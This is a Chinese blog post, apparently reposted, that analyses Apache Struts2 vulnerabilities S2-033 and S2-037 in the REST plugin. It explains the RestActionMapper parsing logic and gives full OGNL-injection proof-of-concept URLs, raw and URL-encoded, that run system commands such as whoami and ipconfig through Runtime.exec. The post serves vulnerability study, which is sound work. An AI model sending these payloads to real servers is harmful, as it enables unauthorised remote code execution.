码迷,mamicode.com
首页 > 其他好文 > 详细

S2-033、S2-037

时间:2019-05-05 18:05:27      阅读:134      评论:0      收藏:0      [点我收藏+]

标签:host   name   image   efault   command   截取   绕过   rest   shu   

前言

    S2-033漏洞和S2-032类似,也是由于开启了动态方法调用,action mapper中的执行的方法名可控,导致了ognl表达式注入。

正文

    Rest插件中获取action mapper是用的RestActionMapper.getMapping()

技术图片

    其实逻辑和DefaultActionMapper中的差不多,也是用handleDynamicMethodInvocation方法来判断是否开启了动态方法调用然后截取!后面的字符串作为action method name

技术图片

    其实没什么好分析的,只是由于时rest风格的请求,poc和以前有些区别,

    首先在正式解析uri前会先对uri的后缀做校验,只能时“json”、“xml”、“xhtml”和空

技术图片

所以我们的poc后面需要加上后缀,如果不加由于poc中本身带有.号,以S2-032的poc为例

技术图片
这样Struts2会认为后缀是“.tostring”,这样后面的流程会有问题
localhost:8088/orders/3!%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ipconfig

 

 

技术图片

    另外S2-032中使用的是method:S2-033中是不能这样的,原因是虽然我们再Struts.xml中配置了开启动态方法调用的常量为true,要想method:参数起作用需要DefaultActionMapper的allowDynamicMethodCalls参数为true,但是我们前面说了rest插件是使用的RestActionMapper类来getmapping的,也就是说RestActionMapper的allowDynamicMethodCalls为true,而DefaultActionMapper的allowDynamicMethodCalls参数依然为false(这里有点不好表达,说白了就是rest插件不让使用method:我是这样理解的)

技术图片

S2-037

    S2-037是S2-033的一个绕过,不需要开启动态方法调用就可以进行rce。RestActionMapper类的getmapping比DefaultActionMapper中多了后面一部分,也就是rest插件支持actionName/id/methodName这种方式解析uri,且并不用开启动态方法调用。

技术图片

直接给出poc吧(需要url编码):
/orders/3/#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=whoami

/orders/3/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=whoami

技术图片

参考文章

https://www.jianshu.com/p/5c6958342949

https://blog.csdn.net/wyvbboy/article/details/51697909

https://cwiki.apache.org/confluence/display/WW/S2-033

S2-033、S2-037

标签:host   name   image   efault   command   截取   绕过   rest   shu   

原文地址:https://www.cnblogs.com/jinqi520/p/10815048.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!